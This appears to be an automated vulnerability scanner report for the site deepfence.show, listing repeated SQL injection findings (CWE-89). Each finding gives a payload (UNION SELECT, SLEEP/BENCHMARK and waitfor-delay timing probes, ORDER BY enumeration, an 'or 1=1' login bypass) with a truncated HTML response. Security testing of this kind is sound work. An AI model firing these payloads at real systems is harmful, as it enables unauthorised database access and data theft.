9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1759
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# /*!10000 1/0 */
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1760Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1-false
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1761
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1762
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1763
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1764
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ';waitfor delay '0:0:5'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1765
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1766
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1767
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 16--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1768Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# '));waitfor delay '0:0:5'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1769
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1
#UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>
DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language=
"javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </
script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet"
src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-
bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- 
Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:
image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ
bWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQ
IoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary 
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1770
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1771
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1772
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin' or '1'='1'/*
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#CWE-ID CWE-89
Issue Number #1773
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 3#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
